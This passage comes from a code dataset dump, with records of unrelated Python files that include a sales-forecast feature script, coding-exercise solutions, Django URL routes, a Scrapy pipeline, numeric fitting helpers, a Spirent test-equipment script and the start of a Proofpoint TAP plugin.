时窗 轮算尺寸:{}月'.format(len(twindow)))\n _last3M_mix = sale_cal_mix(_twin23612,twindow,68, seedname='last3M') \n print(\"安装特征集尺寸 :\\t{} \".format(_last3M_mix.shape))\n _twin23612 = pd.merge(_twin23612, _last3M_mix, on=['class_id','sale_date'], how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612.shape))\n\n # 陆月窗口 特征需计算65轮\n twindow=_gen_twin(m,6)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _last6M_mix = sale_cal_mix(_twin23612,twindow,65, seedname='last6M') \n print(\"安装特征集尺寸 :\\t{} \".format(_last6M_mix.shape))\n _twin23612 = pd.merge(_twin23612, _last6M_mix, on=['class_id','sale_date'], how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612.shape))\n\n # 12月窗口 特征需计算59轮\n twindow=_gen_twin(m,12)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _last12M_mix = sale_cal_mix(_twin23612,twindow,59, seedname='lastHY') \n print(\"安装特征集尺寸 :\\t{} \".format(_last12M_mix.shape))\n _twin23612 = pd.merge(_twin23612, _last12M_mix, on=['class_id','sale_date'], how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612.shape))\n\n\n\n\n _end=time.time()\n print('\\t Duration:{:.3f}s'.format(_end-_start))\n\n _twin23612.to_csv(csv_twt, index=False)\n print('输出训练集:%s'%csv_twt)\n _twin23612_decay.to_csv(csv_tw_decay, index=False)\n print('输出训练集:%s'%csv_tw_decay)\n #print('输出特征集:%s'%csv_feat)\n _end=time.time()\n print('\\t Duration:{:.3f}s'.format(_end-_start))\n #_tmp = train.loc[:,['class_id','sale_date','sale_quantity']]\n #print(_tmp[_tmp.class_id == 2])\n return None\n\n\nif __name__ == \"__main__\":\n print(__version__)\n if 4 != len(sys.argv) :\n print('''追加时间窗口训练集\n Usage:\n$ YCa2timewin_sets.py path/2/目标训练集 path/2/特征增强数据集 [新数据集前缀 zq225]\n e.g\n$ YCa2timewin_sets.py ../raw/CarsSaleForecast/ ../raw/ZQ/train0224features.csv ZQ225\n ''')\n else:\n _train = sys.argv[1]\n _feat = sys.argv[2]\n _name = sys.argv[3]\n timewin_sets(_train, _feat)\n\n\n\n \n\n","sub_path":"CarsSalesForecast/src/YCa2timewin_sets.py","file_name":"YCa2timewin_sets.py","file_ext":"py","file_size_in_byte":9298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"479480309","text":"#!/bin/python3\n\nimport sys\n\nif __name__ == '__main__':\n lines = []\n # Reading the first line and converting it to an integer\n N = int(input())\n # Running a for loop to read each of the following lines\n for i in range(N):\n current_line = input()\n lines.append(current_line)\n \n for line in lines:\n space = ' '\n output_even = []\n output_odd = []\n for i, c in enumerate(line):\n if i % 2 == 0:\n output_even.append(c)\n else:\n output_odd.append(c)\n \n str_even = ''.join(output_even)\n str_odd = ''.join(output_odd)\n print(str_even + space + str_odd)","sub_path":"Day_06_Lets_Review.py","file_name":"Day_06_Lets_Review.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"136158546","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def partition(self, head, x):\n \"\"\"\n :type head: ListNode\n :type x: int\n :rtype: ListNode\n 技巧:删除节点,并把删除的节点天骄到另一个链中,最后拼接两个链\n \"\"\"\n footer = ListNode(0)\n header = ListNode(0)\n pre = header\n pre.next = head\n post = footer\n t = head\n if not head:\n return []\n while t:\n if t.val >= x:\n pre.next = t.next\n temp = t\n t = t.next\n temp.next = None\n post.next = temp\n post = post.next\n else:\n pre = pre.next\n t = t.next\n pre.next = footer.next\n return header.next","sub_path":"problems51-100/leetcode-86.py","file_name":"leetcode-86.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"174027744","text":"'''\n Solution to LeetCodeOJ Problem 412\n Copyright (c) Anthony Chan. All rights reserved.\n\n https://github.com/anthonyc1/LeetCodeOJ\n'''\n\nclass Solution:\n\tdef fizzBuzz(self, n):\n\t\tmyList = []\n\t\tfor i in range(1, n+1):\n\t\t\tif (i % 3 == 0 and i % 5 == 0):\n\t\t\t\tmyList.append(\"FizzBuzz\")\n\t\t\telif (i % 3 == 0):\n\t\t\t\tmyList.append(\"Fizz\")\n\t\t\telif (i % 5 == 0):\n\t\t\t\tmyList.append(\"Buzz\")\n\t\t\telse:\n\t\t\t\tmyList.append(str(i))\n\t\treturn myList\n\n# s = Solution()\n# print(s.fizzBuzz(15))","sub_path":"easy/python/problem412.py","file_name":"problem412.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"427992069","text":"import numpy as np\n\n# Comparison functions used to figure out which stars are closest to a given pixel\ngt_zero = lambda x: x > 0.0\nlt_zero = lambda x: x < 0.0\n\n\n# Gets the index of the closest star in table.\n# The differences are in the sense pixel - star centroid.\n# The comparison functions define from which quadrant the star is drawn from.\ndef closest(diff_x, diff_y, compare_x, compare_y):\n # Compute mask that masks out everything that is outside\n # the quadrant defined by the comparison functions\n mask_x = np.where(compare_x(diff_x), 1, 0)\n mask_y = np.where(compare_y(diff_y), 1, 0)\n mask = mask_x * mask_y\n\n # Get index of star at minimum distance\n distance = np.sqrt((diff_x * diff_x + diff_y * diff_y)) * mask\n if np.nonzero(distance)[0].size > 0:\n mindist = np.min(distance[np.nonzero(distance)])\n index = np.where(distance == mindist)[0][0]\n return index, mindist\n else:\n return -1, 0.0\n\n\nclass Worker:\n '''\n A class with callable instances that execute the offset calculation\n algorithm over a section of the input image.\n\n It provides the callable for the `Pool.apply_async` function, and also\n holds all parameters necessary to perform the calculation.\n\n The 'step' parameters help save time by allowing the algorithm to work\n only on pixels separated by 'step' (in both X and Y). The remaining pixels\n are filled elsewhere by interpolation with a 9x9 Gaussian kernel.\n '''\n def __init__(self, x0, y0, size_x, size_y, step_x, step_y, centroid_x, centroid_y,\n offset_x, offset_y):\n '''\n Parameters:\n\n x0, y0 - top left pixel of the image section designated for this instance\n size_x, size_y - size of the image section\n step_x - step used in the x direction when looping over pixels\n step_y - step used in the y direction when looping over pixels\n centroid_x - 1-D data from the `xcentroid` column in the offsets table\n centroid_y - 1-D data from the `ycentroid` column in the offsets table\n offset_x - 1-D data from the `xoffset` column in the offsets table\n offset_y - 1-D data from the `yoffset` column in the offsets table\n\n Returns:\n\n dict with output arrays. To be collected by a callback function.\n '''\n self.x0 = x0\n self.y0 = y0\n self.size_x = size_x\n self.size_y = size_y\n self.step_x = step_x\n self.step_y = step_y\n\n self.centroid_x = centroid_x\n self.centroid_y = centroid_y\n self.offset_x = offset_x\n self.offset_y = offset_y\n\n # create local output arrays. These have the shape of one single\n # section of the entire image. Once filled up, they are returned\n # to a callback function that takes care of storing them into\n # the appropriate section of the result arrays.\n self.offset_array_x = np.zeros(shape=(self.size_y, self.size_x))\n self.offset_array_y = np.zeros(shape=(self.size_y, self.size_x))\n\n def __call__(self):\n\n range_i = list(range(0, self.size_x, self.step_x))\n range_j = list(range(0, self.size_y, self.step_y))\n\n for i in range_i:\n for j in range_j:\n\n pixel_x = int(i + self.x0)\n pixel_y = int(j + self.y0)\n\n diff_x = pixel_x - self.centroid_x\n diff_y = pixel_y - self.centroid_y\n\n index = np.array(range(4), dtype=int)\n dist = np.array(range(4), dtype=float)\n\n # get index and distance of the closest star, one per quadrant\n index[0], dist[0] = closest(diff_x, diff_y, gt_zero, gt_zero)\n index[1], dist[1] = closest(diff_x, diff_y, lt_zero, gt_zero)\n index[2], dist[2] = closest(diff_x, diff_y, gt_zero, lt_zero)\n index[3], dist[3] = closest(diff_x, diff_y, lt_zero, lt_zero)\n\n # weighted average of the offset values. The weight is the inverse\n # distance pixel-star. Beware of zeroed or non-existent distances.\n sumweights = 0.0\n for k in range(len(dist)):\n if dist[k] > 0.:\n sumweights += 1./dist[k]\n\n weighted_offset_x = 0.0\n weighted_offset_y = 0.0\n\n for k in range(len(index)):\n if index[k] > 0:\n weighted_offset_x += self.offset_x[index[k]] * (1./dist[k] / sumweights)\n weighted_offset_y += self.offset_y[index[k]] * (1./dist[k] / sumweights)\n\n self.offset_array_x[j][i] = weighted_offset_x\n self.offset_array_y[j][i] = weighted_offset_y\n\n # return the local output arrays with offsets for this section of the image,\n # plus metadata to locate the section on the offsets arrays.\n\n return {'x0': self.x0,\n 'y0': self.y0,\n 'size_x': self.size_x,\n 'size_y': self.size_y,\n 'offset_array_x': self.offset_array_x,\n 'offset_array_y': self.offset_array_y\n }\n# end of Worker class definition\n\n","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"35419074","text":"from django.conf.urls import url\nfrom django.views.decorators.csrf import csrf_exempt\nfrom InventoryApp.views import *\n\nurlpatterns = [\n url(r'^login/',csrf_exempt(login),name = 'login'),\n url(r'^add_employee/',csrf_exempt(add_employee),name = 'add_employee'),\n url(r'^update_employee/',csrf_exempt(update_employee),name = 'update_employee'),\n url(r'^get_employee/',csrf_exempt(get_employee),name = 'get_employee'),\n url(r'^add_familydetails/',csrf_exempt(add_familydetails),name = 'add_familydetails'),\n url(r'^update_familydetails/',csrf_exempt(update_familydetails),name = 'update_familydetails'),\n url(r'^get_familydetails/',csrf_exempt(get_familydetails),name = 'get_familydetails'),\n url(r'^add_warehouse/', csrf_exempt(add_warehouse),name = 'add_warehouse'),\n url(r'^get_warehouse/',csrf_exempt(get_warehouse),name = 'get_warehouse'),\n url(r'^active_warehouse/',csrf_exempt(active_warehouse),name = 'active_warehouse'),\n url(r'^del_warehouse/',csrf_exempt(del_warehouse),name = 'del_warehouse'),\n url(r'^update_warehouse/',csrf_exempt(update_warehouse),name = 'update_warehouse'),\n url(r'^add_location/',csrf_exempt(add_location),name = 'add_location'),\n url(r'^get_location/',csrf_exempt(get_location),name = 'get_location'),\n url(r'^active_location/',csrf_exempt(active_location),name = 'active_location'),\n url(r'^del_location/',csrf_exempt(del_location),name = 'del_location'),\n url(r'^update_location/',csrf_exempt(update_location),name = 'update_location'),\n url(r'^add_status/',csrf_exempt(add_status),name = 'add_status'),\n url(r'^get_status/',csrf_exempt(get_status),name = 'get_status'),\n url(r'^update_status/',csrf_exempt(update_status),name = 'update_status'),\n url(r'^add_product/',csrf_exempt(add_product),name = 'add_product'),\n url(r'^update_product/',csrf_exempt(update_product),name = 'update_product'),\n url(r'^get_product/',csrf_exempt(get_product),name = 'get_product'),\n url(r'^active_product/',csrf_exempt(active_product),name = 'active_product'),\n url(r'^del_product/',csrf_exempt(del_product),name = 'del_product'),\n url(r'^add_position/', csrf_exempt(add_position),name = 'add_position'),\n url(r'^update_position/', csrf_exempt(update_position),name = 'update_position'),\n url(r'^get_position/',csrf_exempt(get_position),name = 'get_position'),\n url(r'^active_position/',csrf_exempt(active_position),name = 'active_position'),\n url(r'^del_position/',csrf_exempt(del_position),name = 'del_position'),\n url(r'^get_materialtype/',csrf_exempt(get_materialtype),name = 'get_materialtype'),\n url(r'^get_uom/',csrf_exempt(get_uom),name = 'get_uom'),\n \n \n \n \n]\n","sub_path":"pythonTestInv/Inventory/InventoryApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"239633817","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport numpy as np\n#import logging\n#_log = logging.getLogger('pynrc')\n\ndef jl_poly(xvals, coeff, dim_reorder=False):\n \"\"\"\n Replacement for np.polynomial.polynomial.polyval(wgood, coeff)\n to evaluate y-values given a set of xvals and coefficients.\n Uses matrix multiplication, which is much faster. Beware, the\n default output array shapes organization may differ from the \n polyval routine for 2D and 3D results.\n\n Inputs:\n xvals - 1D array (time, for instance)\n coeff - 1D, 2D, or 3D array of coefficients from a polynomial fit.\n The first dimension should have a number of elements equal\n to the polynomial degree + 1. Order such that lower degrees\n are first, and higher degrees are last.\n dim_reorder - Reorder output shape to mimic the polyval routine,\n where the first dimensions correspond to the coeff latter \n dimensions, and the final dimension is equal to the number \n of xvals.\n \n Returns:\n An array of values where each xval has been evaluated at each\n set of supplied coefficients. The output shape has the first \n dimension equal to the number of xvals, and the final dimensions\n correspond to coeff's latter dimensions. The result is flattened \n if there is either only one xval or one set of coeff (or both).\n \"\"\"\n\n # How many xvals?\n n = np.size(xvals)\n xdim = len(xvals.shape)\n if xdim>1:\n raise ValueError('xvals can only have 1 dimension. Found {} dimensions.'.format(xdim))\n\n # Check number of dimensions in coefficients\n dim = coeff.shape\n ndim = len(dim)\n if ndim>3:\n raise ValueError('coefficient can only have 1, 2, or 3 dimensions. Found {} dimensions.'.format(ndim))\n\n # Create an array of exponent values\n parr = np.arange(dim[0], dtype='float')\n # If 3D, this reshapes xfan to 2D\n xfan = xvals**parr.reshape((-1,1)) # Array broadcasting\n\n # Reshape coeffs to 2D array\n cf = coeff.reshape(dim[0],-1)\n if not dim_reorder:\n # This is the Python preferred ordering\n # Coefficients are assumed (deg+1,ny,nx)\n # xvals have length nz\n # Result to be order (nz,ny,nx)\n yfit = np.dot(xfan.T,cf)\n\n if ndim==1 or n==1: yfit = yfit.flatten()\n if ndim==3: yfit = yfit.reshape((n,dim[1],dim[2]))\n else:\n # Coefficients are assumed (deg+1,nx,ny)\n # xvals have length nz\n # Result to be order (nx,ny,nz)\n yfit = np.dot(cf.T, xfan)\n\n if ndim==1 or n==1: yfit = yfit.flatten()\n if ndim==3: yfit = yfit.reshape((dim[1],dim[2],n))\n\n return yfit\n\n\ndef jl_poly_fit(x, yvals, deg=1, QR=True):\n \"\"\"\n Fit a polynomial to a function using linear least-squares.\n \n Gives the option of performing QR decomposition, which provides\n a considerable speed-up compared to simply using np.linalg.lstsq().\n In addition to being fast, it has better numerical stability than\n linear regressions that involve matrix inversions (ie., dot(x.T,x)).\n \n Returns the coefficients of the fit for each pixel.\n \n # Example: Fit all pixels in a data cube to get slope image\n # in terms of ADU/sec\n nz, ny, nx = cube.shape\n tvals = (np.arange(nz) + 1) * 10.737\n slope = jl_poly_fit(tvals, cube)\n \"\"\"\n\n orig_shape = yvals.shape\n ndim = len(orig_shape)\n \n cf_shape = list(yvals.shape)\n cf_shape[0] = deg+1\n \n if ndim==1:\n assert len(x)==len(yvals), 'X and Y must have the same length'\n else:\n assert len(x)==orig_shape[0], 'X and Y.shape[0] must have the same length'\n\n a = np.array([x**num for num in range(deg+1)], dtype='float')\n b = yvals.reshape([orig_shape[0],-1])\n\n # Fast method, but numerically unstable for overdetermined systems\n #cov = np.linalg.pinv(np.dot(a,a.T))\n #coeff_all = np.dot(cov,np.dot(a,b))\n \n if QR:\n # Perform QR decomposition of the A matrix\n q, r = np.linalg.qr(a.T, 'reduced')\n # computing Q^T*b (project b onto the range of A)\n qTb = np.dot(q.T, b)\n # solving R*x = Q^T*b\n coeff_all, _, _, _ = np.linalg.lstsq(r, qTb)\n else:\n coeff_all, _, _, _ = np.linalg.lstsq(a.T, b)\n \n return coeff_all.reshape(cf_shape)\n","sub_path":"pynrc/maths/fast_poly.py","file_name":"fast_poly.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"593975613","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 28 10:25:47 2017\n\n@author: Adwait\n\"\"\"\n\ndef ispalindrome(s):\n '''\n enter a sentence and see whether it is a palindrome\n '''\n def schar(s):\n s=s.lower()\n ans=''\n for letter in s:\n if letter in 'abcdefghijklmnopqrstuvwxyz':\n ans=ans+ letter\n return ans\n def ispal(s):\n if len(s)==0 or len(s)==1:\n return True\n else:\n return s[0]==s[-1] and ispal(s[1:-1])\n #thus recursively, \n #we eliminate the first and last letters of the string and see if the remaining string is a palindrome\n return ispal(schar(s))\n\ndef schar(s):\n ans=''\n for letter in s:\n if letter in 'abcdefghijklmnopqrstuvwxyz':\n ans=ans+ letter\n return ans","sub_path":"ispalindrome.py","file_name":"ispalindrome.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"172461956","text":"import pytest\n\nfrom grandchallenge.reader_studies.models import Answer, Question\nfrom tests.factories import UserFactory, ImageFactory\nfrom tests.reader_studies_tests.factories import (\n ReaderStudyFactory,\n QuestionFactory,\n AnswerFactory,\n)\nfrom tests.reader_studies_tests.utils import TwoReaderStudies\nfrom tests.utils import get_view_for_user\n\n\n@pytest.mark.django_db\ndef test_api_list_is_filtered(client):\n rs1, rs2 = ReaderStudyFactory(), ReaderStudyFactory()\n rs1_editor = UserFactory()\n rs1.add_editor(rs1_editor)\n q1, q2 = (\n QuestionFactory(reader_study=rs1),\n QuestionFactory(reader_study=rs2),\n )\n a1, a2 = (\n AnswerFactory(question=q1, answer=True),\n AnswerFactory(question=q2, answer=False),\n )\n\n response = get_view_for_user(\n viewname=\"api:reader-study-list\", user=rs1_editor, client=client\n )\n assert response.status_code == 200\n assert response.json()[\"count\"] == 1\n\n response = get_view_for_user(\n viewname=\"api:reader-study-detail\",\n reverse_kwargs={\"pk\": rs1.pk},\n user=rs1_editor,\n client=client,\n )\n assert response.status_code == 200\n assert len(response.json()[\"questions\"]) == 1\n\n response = get_view_for_user(\n viewname=\"api:reader-studies-question-list\",\n user=rs1_editor,\n client=client,\n )\n assert response.status_code == 200\n assert response.json()[\"count\"] == 1\n assert response.json()[\"results\"][0][\"pk\"] == str(q1.pk)\n\n response = get_view_for_user(\n viewname=\"api:reader-studies-answer-list\",\n user=rs1_editor,\n client=client,\n )\n assert response.status_code == 200\n assert response.json()[\"count\"] == 1\n assert response.json()[\"results\"][0][\"pk\"] == str(a1.pk)\n\n\n@pytest.mark.django_db\ndef test_answer_create(client):\n im = ImageFactory()\n\n rs = ReaderStudyFactory()\n rs.images.add(im)\n rs.save()\n\n reader = UserFactory()\n rs.add_reader(reader)\n\n q = QuestionFactory(reader_study=rs, answer_type=Question.ANSWER_TYPE_BOOL)\n\n response = get_view_for_user(\n viewname=\"api:reader-studies-answer-list\",\n user=reader,\n client=client,\n method=client.post,\n data={\"answer\": True, \"images\": [im.api_url], \"question\": q.api_url},\n content_type=\"application/json\",\n )\n assert response.status_code == 201\n\n answer = Answer.objects.get(pk=response.data.get(\"pk\"))\n\n assert answer.creator == reader\n assert answer.images.count() == 1\n assert answer.images.all()[0] == im\n assert answer.question == q\n assert answer.answer is True\n\n\n@pytest.mark.django_db\ndef test_answer_creator_is_reader(client):\n rs_set = TwoReaderStudies()\n\n im = ImageFactory()\n rs_set.rs1.images.add(im)\n\n q = QuestionFactory(\n reader_study=rs_set.rs1, answer_type=Question.ANSWER_TYPE_BOOL\n )\n\n tests = (\n (rs_set.editor1, 403),\n (rs_set.reader1, 201),\n (rs_set.editor2, 403),\n (rs_set.reader2, 400), # 400 as the check is done in validation\n (rs_set.u, 403),\n )\n\n for test in tests:\n response = get_view_for_user(\n viewname=\"api:reader-studies-answer-list\",\n user=test[0],\n client=client,\n method=client.post,\n data={\n \"answer\": True,\n \"images\": [im.api_url],\n \"question\": q.api_url,\n },\n content_type=\"application/json\",\n )\n assert response.status_code == test[1]\n\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n \"answer_type,answer,expected\",\n (\n (Question.ANSWER_TYPE_BOOL, True, 201),\n (Question.ANSWER_TYPE_BOOL, \"True\", 400),\n (Question.ANSWER_TYPE_SINGLE_LINE_TEXT, \"dgfsgfds\", 201),\n (Question.ANSWER_TYPE_SINGLE_LINE_TEXT, True, 400),\n (Question.ANSWER_TYPE_MULTI_LINE_TEXT, \"dgfsgfds\", 201),\n (Question.ANSWER_TYPE_MULTI_LINE_TEXT, True, 400),\n (Question.ANSWER_TYPE_HEADING, True, 400),\n (Question.ANSWER_TYPE_HEADING, \"fdsa\", 400),\n (Question.ANSWER_TYPE_2D_BOUNDING_BOX, \"\", 400),\n (Question.ANSWER_TYPE_2D_BOUNDING_BOX, True, 400),\n (Question.ANSWER_TYPE_2D_BOUNDING_BOX, False, 400),\n (Question.ANSWER_TYPE_2D_BOUNDING_BOX, 134, 400),\n (Question.ANSWER_TYPE_2D_BOUNDING_BOX, \"dsfuag\", 400),\n (Question.ANSWER_TYPE_2D_BOUNDING_BOX, {}, 400),\n (\n Question.ANSWER_TYPE_2D_BOUNDING_BOX,\n {\n \"version\": {\"major\": 1, \"minor\": 0},\n \"type\": \"2D bounding box\",\n \"name\": \"test_name\",\n \"corners\": [[0, 0, 0], [10, 0, 0], [10, 10, 0], [0, 0, 0]],\n },\n 201,\n ),\n (\n Question.ANSWER_TYPE_2D_BOUNDING_BOX,\n {\n \"version\": {\"major\": 1, \"minor\": 0},\n \"name\": \"test_name\",\n \"corners\": [[0, 0, 0], [10, 0, 0], [10, 10, 0], [0, 0, 0]],\n },\n 400,\n ),\n (\n Question.ANSWER_TYPE_2D_BOUNDING_BOX,\n '{\"version\": {\"major\": 1, \"minor\": 0}, \"type\": \"2D bounding box\", \"name\": \"test_name\", \"corners\": [[0, 0, 0], [10, 0, 0], [10, 10, 0], [0, 0, 0]]}',\n 400,\n ), # Valid json, but a string\n (\n Question.ANSWER_TYPE_DISTANCE_MEASUREMENT,\n {\n \"version\": {\"major\": 1, \"minor\": 0},\n \"type\": \"Distance measurement\",\n \"name\": \"test\",\n \"start\": (1, 2, 3),\n \"end\": (4, 5, 6),\n },\n 201,\n ),\n (\n Question.ANSWER_TYPE_DISTANCE_MEASUREMENT,\n {\n \"version\": {\"major\": 1, \"minor\": 0},\n \"type\": \"Distance measurement\",\n \"name\": \"test\",\n \"end\": (4, 5, 6),\n },\n 400,\n ),\n ),\n)\ndef test_answer_is_correct_type(client, answer_type, answer, expected):\n\n im = ImageFactory()\n\n rs = ReaderStudyFactory()\n rs.images.add(im)\n rs.save()\n\n reader = UserFactory()\n rs.add_reader(reader)\n\n q = QuestionFactory(reader_study=rs, answer_type=answer_type)\n\n response = get_view_for_user(\n viewname=\"api:reader-studies-answer-list\",\n user=reader,\n client=client,\n method=client.post,\n data={\"answer\": answer, \"images\": [im.api_url], \"question\": q.api_url},\n content_type=\"application/json\",\n )\n assert response.status_code == expected\n","sub_path":"app/tests/reader_studies_tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":6572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"166504813","text":"# -*- coding: utf-8 -*-\n# encoding=utf8\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport pymongo\nimport scrapy\nfrom scrapy.exceptions import DropItem\nfrom scrapy.pipelines.images import ImagesPipeline\nimport sys\nimport io\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')\n\nclass Mt366Pipeline(ImagesPipeline):\n\n def __init__(self, store_uri, download_func=None, settings=None):\n super(Mt366Pipeline, self).__init__(store_uri, download_func, settings)\n conn = pymongo.MongoClient(\"localhost\", 27017)\n db = conn['mt366']\n self.collection = db['mt_set']\n\n def get_media_requests(self, item, info):\n yield scrapy.Request(item['image_url'], meta={\"item\": item})\n\n def item_completed(self, results, item, info):\n image_paths = [x['path'] for ok, x in results if ok]\n if not image_paths:\n print('{} 下载失败'.format(item['image_url'], item['title']))\n raise DropItem(\"Item contains no images\")\n\n print('{}下载成功'.format(item['title']))\n\n return item\n\n def file_path(self, request, response=None, info=None):\n item = request.meta['item']\n try:\n self.collection.insert(dict(item))\n except Exception:\n print(\"insert data error\")\n pass\n return '{}/{}/{}'.format(item['type'], item['title'], item['image_url'].split('/')[-1])\n","sub_path":"mt366/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"44015412","text":"import seisnn\n\ndatabase = 'Hualien.db'\ntag = 'manual'\n\ndb = seisnn.sql.Client(database=database)\ninspector = seisnn.sql.DatabaseInspector(db)\ninspector.pick_summery()\n\npick_list = db.get_picks(tag=tag)\n\ntfr_converter = seisnn.components.TFRecordConverter()\ntfr_converter.convert_training_from_picks(pick_list, tag, database)\n\nconfig = seisnn.utils.Config()\ntfr_list = seisnn.utils.get_dir_list(config.train, suffix='.tfrecord')\n\ndb.clear_table(table='waveform')\ndb.clear_table(table='tfrecord')\ndb.read_tfrecord_header(tfr_list)\ninspector.waveform_summery()\n","sub_path":"scripts/02_generate_dataset.py","file_name":"02_generate_dataset.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"47702628","text":"import sys\nclass Solution(object):\n def firstMissingPositive(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n '''\n for i in range(len(nums)):\n while nums[i] != (i+1) and nums[i] > 0 and nums[i] < len(nums) and nums[i] != nums[nums[i]-1]:\n n = nums[i]\n temp = nums[i]\n nums[i] = nums[n-1]\n nums[n-1] = temp\n\n for i,n in enumerate(nums):\n if (i+1) != n:\n print i+1,n\n return (i+1)\n return len(nums) + 1\n '''\n # second round\n # 2016-07-09\n # it's easy if we can build a map (or array use index as key)\n # but we can't because of the space limitation\n # so we can find a walk around: swap\n # we will at most move #pos_num times\n for i,n in enumerate(nums):\n while n != (i+1) and n > 0 and n < len(nums) and nums[n-1] != n:\n nums[i], nums[n-1] = nums[n-1],nums[i]\n n = nums[i]\n for i,n in enumerate(nums):\n if n != i + 1:\n return (i+1)\n return len(nums) + 1\n","sub_path":"41-first_missing_positive/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"418620095","text":"from machine import Pin\nimport time\n\n\n\nclass DCmotor:\n def __init__(self,left,right,time=10):\n self.left= Pin(left,Pin.OUT)\n self.right = Pin(right ,Pin.OUT)\n\n def move(left,right,mtime=10):\n self.left.value(left)\n self.right.value(right)\n time.sleep(10)\n\n def __del__(self):\n self.move(0,0,mtime=2)\n\n\nif __name__=='__main__':\n while True:\n motor(1,0)\n \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"232467546","text":"#!/usr/bin/env python3\nimport os\nimport sys\nsys.path.insert(1, './lib/')\nimport wcommon as wc\nwc.jenkins_header(); # load inputs from Jenkinsfile\nwc.jd(wc.wcheader)\nSTC_PRIVATE_INSTALL_DIR = '/opt/STC_5.16/Spirent_TestCenter_5.16/Spirent_TestCenter_Application_Linux'\n# STC_PRIVATE_INSTALL_DIR = '~/wow/STC/Spirent_TestCenter_5.16/Spirent_TestCenter_Application_Linux'\nos.environ['STC_PRIVATE_INSTALL_DIR'] = STC_PRIVATE_INSTALL_DIR\nsys.path.insert(1,STC_PRIVATE_INSTALL_DIR + 'API/Python/')\nimport Stc\n\n\n\nARC = '10.88.240.60'\nWP = '10.44.0.21'\nsystem1,project = Stc.init('adrian')\nsystem1,project = Stc.init('adrian')\nexit(0)\n\nStc.connectChassis(ARC)\nphysical = Stc.getConnectedChassisPhysical([ARC])\n\nStc.getPhysicalHuman(physical)\n\n\nARC = ['//10.88.240.60/1/1', '//10.88.240.60/1/4']\nWP = ['//10.44.0.21/9/9', '//10.44.0.21/9/10' ]\nfor port in ARC:\n#\ttry:\n#\t\tStc.port_config(project,port)\n#\texcept Exception as err:\n#\t\twc.pairprint('Cannot add ' + port + ' to project', str(err))\n\tpass\n\nStc.disconnectChassis()\nexit(0)\n","sub_path":"u.py","file_name":"u.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"112651308","text":"q = int(input().strip())\nfor a0 in range(q):\n s = input().strip()\n r=s[::-1]\n for i in range(len(s)-1):\n if ord(s[i+1])-ord(s[i])== abs(ord(r[i+1])-ord(r[i])):\n flag=1\n else:\n flag=0\n break\n if flag==1:\n print(\"Funny\")\n else:\n print(\"Not Funny\")","sub_path":"Funny String.py","file_name":"Funny String.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"641986691","text":"from datetime import datetime, timedelta, timezone\nfrom hashlib import sha1\n\nimport insightconnect_plugin_runtime\nfrom insightconnect_plugin_runtime.exceptions import PluginException\n\nfrom komand_proofpoint_tap.util.api import Endpoint\nfrom komand_proofpoint_tap.util.exceptions import ApiException\nfrom komand_proofpoint_tap.util.helpers import clean\nfrom komand_proofpoint_tap.util.util import SiemUtils\nfrom .schema import MonitorEventsInput, MonitorEventsOutput, MonitorEventsState, Component\n\n\nclass MonitorEvents(insightconnect_plugin_runtime.Task):\n LAST_COLLECTION_DATE = \"last_collection_date\"\n NEXT_PAGE_INDEX = \"next_page_index\"\n STATUS_CODE = \"status_code\"\n SPLIT_SIZE = 200\n PREVIOUS_LOGS_HASHES = \"previous_logs_hashes\"\n\n def __init__(self):\n super(self.__class__, 